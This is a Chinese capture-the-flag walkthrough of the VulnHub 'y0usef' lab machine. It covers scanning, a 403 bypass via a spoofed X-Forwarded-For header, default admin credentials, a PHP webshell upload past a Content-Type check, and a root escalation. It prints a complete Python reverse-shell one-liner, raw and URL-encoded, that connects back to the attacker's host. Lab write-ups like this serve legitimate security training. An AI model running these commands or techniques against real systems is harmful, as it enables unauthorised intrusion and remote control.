1、靶机信息
靶机名称:y0usef
靶机难度:简单
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:获取两个flag
靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
kali服务器IP | 192.168.137.116 |
靶机IP | 192.168.137.20 |
2、主机发现
2.1 使用arp协议探测同一C段靶机地址
arp-scan -l
得到靶机IP 192.168.137.20
3、端口扫描
3.1 使用nmap对主机进行全端口探测,以及开放服务的版本探测
nmap -sS -sV -p- -v 192.168.137.20
在这次扫描中,我们发现了22 SSH和80 Apache端口的开放,并且系统为Ubuntu
4、Web信息收集
4.1 首先我们访问站点,站点显示正在建设中,没有什么可利用的价值
4.2 我们访问一下页面源码,也没有发现有价值的东西
4.3 使用whatweb对站点的指纹信息进行收集,识别站点框架、语言等环境
whatweb http://192.168.137.20
我们收集到此站点搭建到Apache 2.4.10
,语言为php
,Web前端框架为Bootstrap
,系统为Ubuntu
4.4 使用dirsearch对站点进行路径爬取
dirsearch -u http://192.168.137.20 -e *
发现一个敏感路径/adminstration/
4.5 尝试访问http://192.168.137.20/adminstration/
,发现403 Forbidden,没有权限进行访问
5、403 Bypass
5.1 403 绕过技巧
①覆盖请求URL
尝试使用X-Original-URL
和X-Rewrite-URL
标头绕过Web服务器的限制。通过支持X-Original-URL和X-Rewrite-URL标头,用户可以使用X-Original-URL或X-Rewrite-URL HTTP请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。
②修改Host头
一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。当服务器获取HOST的方式不当时,我们可以通过修改Host值来进行绕过。首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址),再使用Burp的Intruder功能。
③Refer头绕过
尝试使用Referer
标头绕过Web服务器的限制,Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。
④代理IP
一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用 X-Forwarded-For
、X-Forwared-Host
等标头绕过Web服务器的限制。
5.2 在这里我们使用了代理IP XFF的方式成功绕过,让服务器误以为请求是由本机127.0.0.1发起
可以看到页面是一个登陆页面,说明我们已经成功绕过
5.3 使用浏览器打开页面后,我们尝试对账密进行爆破
最后发现账密为admin/admin,在这里需要提醒一下,在提交账密后,请求中要始终带有XFF字段,否则服务器又会认为客户端没有经过验证
5.4 成功进入站点后台
6、文件上传
6.1 后台可以看到一处明显的上传点
6.2 当我们直接上传一句话木马时,发现文件没有被允许,说明是对文件上传做了一定限制
6.3 我们尝试修改文件类型,对文件扩展名进行修改
修改为Content-Type: image/png
发现文件上传成功,页面显示:file uploadad files/1646209522test.php
6.4 既然已经知道了文件目录,在这里直接命令执行
可以看到ls
命令成功执行
GET /adminstration/upload/files/1646209522test.php?cmd=ls
7、提权
7.1 反弹shell
python反弹shell语句:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.116",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
浏览器执行:http://192.168.137.20/adminstration/upload/files/1646209522test.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.137.116%22,9999));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
7.2 通过在/home目录下找到一个user.txt文件,文本内容为一串Base64编码,解码后得到:
ssh : user : yousef pass : yousef123
7.3 使用shell软件登陆yousef账户,并尝试切换到root账户,发现成功,意味着提权成功
7.4 我们尝试在/root目录下寻找flag,又发现一串Base64编码,对其进行解码,拿到最终一个flag,打靶结束!
You've got the root Congratulations any feedback content me twitter @y0usef_11